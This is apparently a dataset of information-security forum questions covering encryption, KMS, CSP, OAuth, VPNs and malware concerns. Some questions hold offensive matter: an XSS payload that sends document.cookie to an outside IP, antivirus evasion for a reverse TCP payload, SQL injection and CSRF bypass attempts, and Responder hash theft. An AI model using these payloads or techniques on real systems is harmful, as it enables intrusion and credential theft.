instruction stringlengths 24 29.9k |
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The conventional wisdom is that when you store data for long-term storage, you convert the data into a format that will last for decades. It should be in NTFS or FAT and the file format should be one in which will be around for decades.
For example, they do not recommend that files should be left in docx (Word format)... |
Suppose Alice and Bob are communicating using a peer-reviewed symmetric encryption algorithm such as AES-256. Bob possesses a private encryption key to decode messages from Alice, but Alice does not have this key.
If Alice has plain text ready to encrypt and send to Bob, is it computationally feasible for Alice to prod... |
I am wondering if there is any additional security increase by choosing to run your webserver on an internal private ip address and port like xyz.ab.cd.efg:8080 versus localhost:8080 or 127.0.0.1:8080
If so, what does this mitigate against?
For this scenario lets assume that your webserver is serving some site example.... |
I am using AWS KMS as a vault for my encryption key. Now what I am doing is that I am creating one data key, encrypt it using Customer Managed CMKs.
Now on every request, I just call AWS KMS Service to decrypt the data key and from the data key, I encrypt/decrypt the data.
I am using this to encrypt/decrypt the databas... |
I was talking to PayPal customer service and they were trying to tell me PayPal does not have any third parties, so when I shown them https://www.paypal.com/uk/webapps/mpp/ua/third-parties-list they responded to me that this is not a real paypal site, despite https://www.paypal.com/uk/home being the website for PayPal.... |
The following question belongs more to the HP forums but unfortunately I am not gaining any traction there. Please move the question to another SE if its off topic for this community.
Recently I've started receiving the following BIOS interruption & message at each boot:
"HP Sure Start detected an unauthorized change ... |
I want to provide a way for my users to download their data, which are stored in S3, through my app. Should I provide them with a public url followed by a key random key, as in this example?
http://s3.amazonaws.com/user-xyz123/folder/some_csv_file.csv
It could be possible for an attacker to brute-force the url, so can ... |
There's this game at http://slither.io which I like to play. Only inputs that I give to it are space bar, and cursor location.
It's not https. Are there any risks?
|
Found a bug in a function in a loop where I can go past a loop in assignment where value is read from past malloced memory
The function has no call, int or other assembly instructions afterwards.
Instruction I control is movzbl. I control the source registry value. Pseudocode in C:
For(...)
{
ptr=array[i] <---- here i... |
I am building a web app, which is made of a Node.js Backend and Angular (NOT AngularJS!!! I only used the tag, because Angular was not available..) Frontend.
How do I properly secure this app? I already have an idea to use JWT tokens (I already implemented this) with a set expiration date, which will be way longer than... |
I have seen and read several videos and articles that try to explain how Zero Knowledge Proof systems work. In these examples, there is a verifier of information, and a prover of information. The verifier asks the prover to prove that they know some information. Metaphors I have seen usually are:
The prover wants to p... |
as far as my understanding goes, an OS needs to implement some sort of reference monitor, as the entity which grants or denies permissions as an access control decision.
Furthermore, I think the Linux kernel does this by providing Linux Security Modules (LSM) or more precisely "hooks", which enable arbitrary "reference... |
It seems to me that one of the major flaws of Wifi is that computers will auto-reconnect to a Wifi that merely has the same name as one you connected to in the past i.e. an evil twin. While perusing log files I've seen this happen and it is a surprising design flaw. There ought to be something more substantial than jus... |
A friend of mine gave me a web application for me to test and find vulnerabilities. He told me that this web application can be purposefully modified and then made to run an SQL injection. I have been trying everything, but I have not been able to gain access to information. He told me that I should be able to obtain ... |
I was big fan of the Toontown Online MMO when Disney used to run it so I was excited to learn that it had been revived by a fan or group for fans building on the original source code. During a recent update, my virus checker said there were questions about the new installer executable, and that they were looking into i... |
I'm scanning a machine that has the UDP port 161 open and I'm not able to run snmpwalk against it as I'm returned with the error:
Timeout: No Response from <IP>
I tried to run the onesixtyone tool to bruteforce the community string with different wordlists, but with no success.
Is there something else that could be do... |
Suppose I have a table with email is stored in one table.
I have encrypted it using AES-256 and stored the result in DB Column.
For let's say I have one input email and I want to search whether this email exists in DB or not:
Now I see two approaches to it
Encrypt the input and search for the encrypted value.
Use the ... |
WCAG is a set of standard web accessibility criteria developed by the W3C that have been adopted by regulatory agencies in a number of countries, including Section 508 in the U.S., which makes compliance mandatory for all government websites.
The current working draft of WCAG 2.2 introduces a new success criterion, 3.3... |
As of Thunderbird 78, the support for PGP plugins such as Enigmail has been dropped in favour of a native implementation of pgp in Thunderbird's core. But some features of Enigmail are still missing. One of those features is to create something akin to Enigmail's per-recipent rules.[1]
This makes it impossible for peop... |
i would like to know if i encrypt a proxy server communication with TLS v1.3 is it still possible for a firewall censor to a deep packet scanning to decrypt. Also, what can be done to make the encrypted proxy more secure?
|
An application has a file extension validation at the server side and rejecting the request if the Extensions are not matching to (.pdf/.docx). But if i modify an exe file's extension to .pdf and upload it, its processing the request. Is this a security vulnerability?? If so, how an attacker can take advantage of?
PS: ... |
i would like to know what can be added to make a proxy server using TLS encryption more secure so that it can bypass censors that are using quantum computational power?
|
Is normal that a web site which uses OpenID as SSO sends all the cookie without samesite header?
Is this required in order to make OpenID work correctly?
|
What does "cybersecurity landscape" mean?
Is it a cyber threat trend?
|
I can see encryption details and AUTH types with ifconfig but not airmon-ng.
Do I need to do something about it in order to to get better results from
Fake authentication attack
ARP request attack
Deauthentication attack
I couldn't change wlan0 to wlan0mon either, but I used ifconfig instead, and I could manage to d... |
I have been talking backwards and forwards with a MalwareByte support, because every time I run 'quarantine threats' all my Chrome tabs crash. This guy keeps asking me to switch Google sync off, and then resetting it, except that there is no reset sync button anywhere. Most of all, he won't answer my question: do I rea... |
Say I have two peers that wish to engage in a protocol with multiple sub-protocols. Naturally, it is necessary for them to negotiate which sub-protocol they should use. But what if the peers wish to be anonymous? How can they agree on which sub-protocol to use without fingerprinting themselves with the list that their ... |
If a laptop has Computrace/Absolute software installed and I host a VM there, would the Computrace/Absolute software be able to track whatever they track on the VM?
|
Is it possible to 'view' the space that TRIM would take care of to see if that space was really wiped? I am using both Windows and Linux.
|
I want to add one-time passwords as gates for certain important actions in the application I am working on. It is not two-factor authentication, although it may be extended to that use case later.
RFC6238 is a very commonly adopted standard for this kind of problem.
It seems very straight-forward to have users download... |
My company is currently developing a product which consists of a fairly generic PC hardware platform and a software stack (the software stack is based on a Debian Buster Linux OS + some applications we develop). As most of the value of our product is the software, we would like to make sure that our software won't run ... |
Today, clicking on links (via Chrome from my Google home page), I started seeing "https://beinternetawesome.withgoogle.com/en_us/" come up instead of the site I had attempted to load.
I'm trying to determine if this is due to typical/traditional malware, or a bug at Google, or simply an inappropriate decision by Google... |
Are there benefits to set an expiration date on a PGP primary key which is only used offline?
Is setting an expiration date only on the subkeys enough?
|
Is there a security difference between doing
sudo make install
versus two step
sudo su
and then typing
make install
The reason I'm asking is because a security requirement to install some software says you must type exactly 'make install' (not sudo make install) - presumably for some permission reasons.
However, the... |
When I try to download SandBoxie in the 64-bit version, at this link: SandBoxie and I analyze it with VirusTotal, it tells me that it's safe, but when I analyze some relative files, called:
066cca997f12a387f6ea0459e7a2f9a8cf7e842236fa624ef658b5a85571a860
sandbox.exe
SandboxieInstall
SandboxieInstall-533-3.exe
s.ex... |
HTTP
I'm aware that HTTP sends plain text over the network which can be sniffed and modified if a MITM is performed.
HTTPS
On the other hand, HTTPS sends encrypted text over the network that can neither be sniffed nor modified.
Other?
I'm wondering if there is an in between where the traffic can be sniffed, but not mod... |
I'm a systems specialist in our organization and I've read a lot about TeamViewer security concerns over the last few years. Now I decided to come seek professional and objective opinions about the security of the following scenario:
TeamViewer Corporate license
TeamViewer account with a complex password and 2FA enabl... |
For PII, we have to encrypt some columns in our DB (All of our infra resides on our own DC, not using any cloud provider).
Now roughly what we are doing is
Created a CMK at AWS.
Generate Data Key using CMK
Store the encrypted key in DB
For every request, we decrypt the encrypted data key via AWS and got the plaintext ... |
I have recently picked up the oauth2 spec and decided to use keycloak as an auth server. I am facing difficulties in a certain aspect. I want to be able to request multiple access tokens with narrow scope when a user is first authenticated or whenever one of those narrowed tokens expires. This is due to the fact that i... |
I'm currently honing in on my web exploitation skills and came across this JavaScript function here:
Event.observe(window, 'load', function() {
new Ajax.Request('/dir/dir', {
method: 'post',
parameters: 'action\x3DrefreshAjaxModule\x26amp\x3BmodId\x3D_1895_1\x26amp\x3BgroupId\x3D_1_1\x26amp\x3Bgroup_id... |
From 2020.09.01 Google, Apple an Mozilla changed the maximum trust time to 398 days. I'm working on a project, where the client also authenticates itself with a certificate. This certificate is stored in the browser. So does this change affect the lifetime of the client certificate, or only the server side? Can my priv... |
I'm wondering if I'm risking anything if I use
style-src-attr 'unsafe-hashes' <hash>
in my CSP header.
I need to allow an external script to run, and it uses the style attribute on some elements.
I have no control over the external script, and if there is a malicious person behind it, what might an attack vector be? (... |
I get that what comprises a good password is a bit of a moving target and not everyone agrees - just run a password through a number of checkers to see how it is rated differently depending on the criteria.
But a couple of things seem like safe bets and are widely acknowledged - length (as a method of achieving entropy... |
A few years ago, I left a new laptop at a sketchy computer shop to downgrade the OS to Windows 7. The experience was a disaster. My goal now is to install Cinnamon Linux on the laptop and remove Windows entirely.
I put the Kaspersky .iso on a blank disk and ran it from the boot menu (I believe this is called a rootkit... |
I'm designing an API, and had some quick questions about HTTP authentication and security.
The API will involve two web servers, one of which I am the developer of (let's call it Server 1). The server that I am interested to retrieve data from, unfortunately, is one I do not have control over (Server 2).
In order to re... |
What does this "sign only locally" check box do or mean in gpa (the GNU Privacy Assistant)?
I'm working on verifying the fingerprints of acquired public keys, and once verified with their owner, then self signing these keys to signify that I've checked their authenticity.
|
Let's say the OS is Windows or Linux
As a System Admin, I think the answer to this question is : NO
I always configure end users machine for auto lockout for a given idle session time. Because I'm think, if the user leaves the machine without locking it, I should try something to at least protect my network
What if I d... |
DNS over HTTPS aims to increase user privacy and security by
preventing eavesdropping and manipulation of DNS data using the HTTPS
protocol to encrypt the data between the client and the DoH based DNS
resolver.
source
If a client uses DoH and connects a web site, can ISP see that which site the client visit and has t... |
I was recently working on Broken link Hijacking and found a link in a target which reflected on multiple pages. It was portal.REDACTED.local which was not accessible and returned response as bad host.
So I never saw a extension that has .local so I just want to know if there is any way to claim this extension. If yes c... |
I'm in the process of setting up an authentication-less public VPN. To prevent against DoS attacks, I'm going to set up some sort of IP address based rate limiting. The VPN is port-bound, i.e., it will only connect to ports 80 and 443 of other sites.
(1) What sort of attacks could I expect (i) on the VPN (ii) conducted... |
I'm making a guideline for a bug bounty program and want to distinguish between bugs that require some kind of action on the target's behalf (eg clicking a suspicious link), vs vulnerabilities that can be exploited without any actions from the user (eg, SQL injection that gives you users' credentials).
I don't necessar... |
It's possible to bypass CSRF protection Referer-Based by spoof the referer in browser victim ? (POST-Based)
Hello, i try to bypass a CSRF protection Referer-Based.
I know the basic knowledge to bypass this protection, but the request is blocked.
This is a CSRF POST-Based.
I have try :
Delete the referer > return 403
... |
The sudo command has the -E option that allows users to pass through all environment variables, although it's still subject to the security policy configuration. So, is the use of -E inherently unsafe? Can someone offer a specific example of how this could be misused?
|
I strayed into the .PH TLD record on the IANA root zone database and found the first nameserver interesting.
I don't really know why they're there and I'm not in the right to assume, but considering the political climate in and between both countries (China and Philippines), it caused me a slight concern.
Could a bad a... |
The tool Responder written in Python permits to listen on a specific network card requests and automatically poisoning victims the steal hash NTLMv1 and hash NTLMv2.
The attack Pass-The-Hash permits to connect to a service like SMB.
I am a little bit confused about difference between hash LM and hash NTLM and so the co... |
I am confused about if I decided to implement DNS over TLS (DoT), would I lose DNSSEC?
Details:
I am connected with IPv4 + IPv6 Cloudflare DNS directly in my home OpenWrt router.
I love the idea of safer DNS, even if for home purposes, DNSSEC might be enough I originally thought.
But since every DNS request goes une... |
If person Y sticks his adapter device into a fixed computer, person Y will be able to bypass MAC related restrictions since the inserted device has an unknown MAC-address. How do we protect from this beside enforced policy?
Assuming the restricted host is a Windows machine.
|
I have an assignment to make an SQL injection - I found a login field that spits out an error, but I can't seem to make queries work inside of it. For your information it's an Mysql server. What is the correct syntax to execute queries and grab the admin login or login without the password?
In the first picture I tried... |
I would like to import a private key into GPG so I did:
gpg --allow-secret-key-import --import /path/to/key/key.asc
gpg: key 51D5DF493ECAFF88: "John Doe <john.doe@acme.com>" not changed
gpg: key 51D5DF493ECAFF88: secret key imported
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: secret keys re... |
From the gpg manual:
--refresh-keys
Request updates from a keyserver for keys that already exist on the local keyring.
This is useful for updating a key with the latest signatures, user IDs, etc.
Calling this with no arguments will refresh the entire keyring.
But there is no claim about how secure this is.
So the que... |
While all/majority of AWS APIs requests are signed with HMAC, it is not as prevalent for other APIs in general.
Most likely, the reason is because of the gotchas involved when client has to make the signed API work as they may miss a few headers etc or new headers got added by proxies and so signatures don't match etc.... |
On a W3Schools page, I found that HTTP requests work like this:
A client (a browser) sends an HTTP request to the web
A web server receives the request, and runs an application to process it
The server returns an HTTP response (output) to the browser
The client (the browser) receives the response.
On the same page I ... |
As far as I can tell, scheduled tasks may only be created by those in the Administrators group by default. Does that mean that persistence can't be achieved via this method without gaining elevated privileges?
|
After stumbling upon some unknown folders in my unused OneDrive (posted question), I did some digging arround and found some interesting logs. Apparently, OpenSSH had been used for remote access on my machine. A description of the attack can be here https://az4n6.blogspot.com/2020/02/detecting-laterial-movment-with-win... |
I'm sure I'm not the only one who is scared to death to blindly trust random strangers with all my data. Which is the case in practice if, for example, I'm to use this library right now, which I'm about to: https://github.com/jfcherng/php-diff
It is impossible for me to know if this (or any other library) does only wha... |
I do know the difference between brute force attack and DOS.
What if a web server doesn't have account lock out in place and a few brute force attacks is being started in parallel, and these attacks will keep web server CPU intensively busy. Will these attacks in the end reduce the abilities of web server to serve othe... |
I am attempting to determine whether it would be possible to maintain your anonymity while using an internet-connected PC infected with ring 0 malware. The threat model assumes the adversary is willing to purchase zero-day exploits and craft malware specifically targeting the victim in question.
Furthermore, I am assum... |
OpenSSL keeps the structure CMS_ContentInfo opaque and in the case of enveloped data generates and manages the content-encryption key completely by itself. It is not possible to provide a content-encryption key generated by yourself.
In contrast to that Bouncy Castle allows a more individual content-encryption key mana... |
CVE-2020-16898 is a remote code execution vulnerability caused by the improper handling of ICMPv6 Router Advertisement packets by Windows TCP/IP stack. Microsoft's recommended workaround is to disable ICMPv6 RDNSS component.
My question is: In my system, I already had TCP/IPv6 unchecked in my network adaptor options, i... |
I am participating in a project that involves a JavaScript SPA that provides a service and is intended to interact via REST APIs with one of our servers. Initially, I proposed to work on the two entities as two separate projects; specifically I put forth the following
The user accesses the Web app through a www.myserv... |
We are encrypting database fields for PII. For Key Generation and storing it, we are using AWS KMS. Data key we have generated using AWS KMS,for the master key we are using CMKs.
Now let's say there is only one DB field that I want to encrypt which is email.
Also, for simplicity, let's consider we have two environment ... |
Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a buggy program written in C that has root permissions. Specifically, the execlp() function is what is being exploited as I h... |
I'm trying to do reverse tcp in an exe payload. To do antivirus evasion, I've tried to use Veil evasion, The fat rat, and also Phantom evasion, but even if the exe wasn't deleted by antivirus (I use Avast in Windows 10), the connection doesn't start. The connection starts only if the antivirus is stopped, even if the e... |
We're hosting a web site where the server processes a stream of images, generating a unique ID (uuid) for each new picture and storing various data against the ID in a MySQL database. The site is monitored through a protected dynamic (AJAX) UI, which displays a real-time stream of image previews which include the uuid ... |
I have three domains but the same code base (Domain X, Domain Y, Domain Z) and
Accounts website A
If a user tries to sign in accounts from domain X, I wanted to SSO in the other two domains (Browser Scenario: third party cookies blocked).
I tried the following approach,
Go to Accounts from Domain X
Sign In
Get the re... |
I am trying to conceptualize a server where users can upload potentially dangerous malware samples to a server. They would not need to be stored in the file system per se but kept in memory long enough to be analyzed by other programs/libraries. (Similar to: VirusTotal)
I'm not opposed to incorporating other open sourc... |
What difference we can observe when connecting using the certificate generated using the RADIUS and the credentials that we define in RADIUS like username & password.
|
I want to archive some GB of sensitive data. It is to be stored on an external drive that also includes non sensitive data so i don't want to encrypt the whole drive. For that purpose i want to use 7zip and the 7z file format with AES-256 encryption and a long (16+ character) password.
Since most of the data to be encr... |
I am currently reading the book "Web Security of Developers" and it talks about avoiding Username Enumeration, and it makes no mention of the registration/signup page for your system. I've searched the web and haven't found anything either.
It seems to me that an attacker could simply try signing up for your website wi... |
When traffic leaves the VPN, the operator of the VPN server can see the websites I'm accessing. Opera browser has a free VPN. Can I trust this VPN?
https://www.opera.com/features/free-vpn
|
IEEE 802.1X-2010 states:
"Generate an MSK of at least 64 octets, as required by IETF RFC 3748
[B14] Section 7.10, of which the first 16 or 32 octets are used by
this standard as described in 6.2.2."
RFC3748 states:
"EAP method supporting key derivation MUST export a Master Session Key
(MSK) of at least 64 octets"
B... |
I'd like to know if it's possible to have a separate certificate on a local machine, one for a heavy client and the another one for the web browser to be sure the correct client communicate with the web browser. Thanks a lot for your help.
|
I have two Windows systems, and I want to establish an encrypted TCP/IP communication between them. Specifically TLS 1.2 or TLS 1.3.
I have configured in both systems the list of allowed ciphersuites:
Win+R -> gpedit.msc which opens Local Group Policy Editor.
Local Computer Policty -> Computer Configuration -> Adminis... |
I would like to run the following script inside an input tag when the page loads.
I know how this can be fixed by using onfocus and autofocus.
But how do I get the expression document.cookie in there?
window.open('http://10.80.2.50:8000/hello.php?leak='+document.cookie);
My situation:
<input type="text" class="form-co... |
Usually the anonimity aspect of Tor is explained from the client point of view. The entry node can know who you are but cannot know which website you're accessing, and the exit node cannot know who you are.
My question is, how does it keep the host anonymous. When someone accesses a Tor website, the exit node sends the... |
I want to prevent malicious program accessing my PC via USB. My thread is as follows: I'm just a regular citizen with a non-dangerous job. However I live in a country that didn't care about data privacy and security.
Recently I just learned about the dangers of badusb. The problem is I have never checked the authentici... |
I have a web application which uses an external authentication server for obtaining a session. When a client tries to login, the browser is making requests towards the external authentication server until a cookie is obtained. Note that the client has all the API calls towards the external authentication server.
My con... |
I was testing key generation on a Hardware Security Module and I noticed that it takes so much time to generate an AES 256 secret key on the HSM.
I've used pkcs11-tool to generate the key and it took about 5 sec to complete the task:
$ pkcs11-tool --module <modules.so> --key-type aes:32 -p <PIN> --token-label SC_TEST -... |
This is the relevant part of my manifest.json file:
"content_scripts": [
{
"css": ["style.css"],
"matches": [
"<all_urls>"
],
"js": ["jquery-3.5.1.min.js", "content.js""]
}
]
I noticed that now I have jquery on every page I go to and I was wondering if it's a security concern.... |
In our multi tenant SaaS software application we intended to use Microsoft Identity Platform (Azure AD) for user authentication and providing the claims for authorization within the application. We are facing a lot of difficulties managing and getting the correct claims throughout the stack and are now considering pro... |
I used to think that this browser is safe and does not track me. Then I did little experiment - i went to specific webpage on Opera and next day I found ads for it on Facebook app. How did it happen? Does Opera send my history for ad companies?
|
There is a small confusion related to CA certificate and Local certificate. I had asked a similar question before. This time, its a little specific.
For authentication using PKI, below are the steps.
--> Get the CA certificate and load it onto the device.
-->Generate a private and public key pair
-->Request for a local... |
Last Friday, 7 of our employees' office365 email accounts were hacked simultaneously. We saw successful logins from random US addresses. The virus went through emails and basically does a reply-all with a virus called request.zip.
They all have eset running and a scan shows to be clean. They do not use the same passwor... |
I use KeePass with two factors, one being a keyfile. I would like to print the keyfile on a paper for disaster recovery.
How can I create a file that is printable on paper in such a way that I can use it to recover the keyfile? I surely have to take care that only printable characters are used, but are there more gotch... |
I want the encryptor to be able to choose a key X and using it and the public key, he will be able to encrypt a message m. Then I get the key X and using the matching private key I'm able to generate another key Y, which using it anyone can decrypt messages encrypted with X, and only with it. Is such a cryptosystem pos... |
For context, I'm assuming the attacker knows the format of the key.
Do these two keys have the same strength, or by leaving the hyphens in the key am I reducing the security by a partly-known-key attack?
A: aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
B: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Both keys have the same amount of entro... |
Presume I'm a bad actor and want to do a naughty thing on a site protected by some 3rd party CAPTCHA solution. For instance, perhaps I'm a spammer who wants some way to script sign-ups to Hotmail.
For the target site to use CAPTCHA, it presumably must load a javascript file from the CAPTCHA provider's server. Since I'm... |
I'm currently working on a mobile application that will need to transmit a customers full card data to an internal API that will then transmit the information to an external API owned by a payment processing company I'll be working with. I've read up on the PCI DSS requirements about storing card data which seems strai... |
I have a website hosted at https://example.com/mysite. If you navigate to http://example.com/mysite, you get a 404. Everything that comes in over HTTP gets 404'd.
I was dinged on a security audit because I wasn't auto-upgrading HTTP to HTTPS. According to the bug report, my site is violating HSTS because it's not upgra... |
I am performing a security assessment on a web application and I found it doesn't have the Content-Security-Policy, but instead it has Content-Secure-Policy. It is literally the first time I'm seeing such a case and I would like to know:
Are these two headers equivalent?
Will browsers be able to recognize this Content-... |
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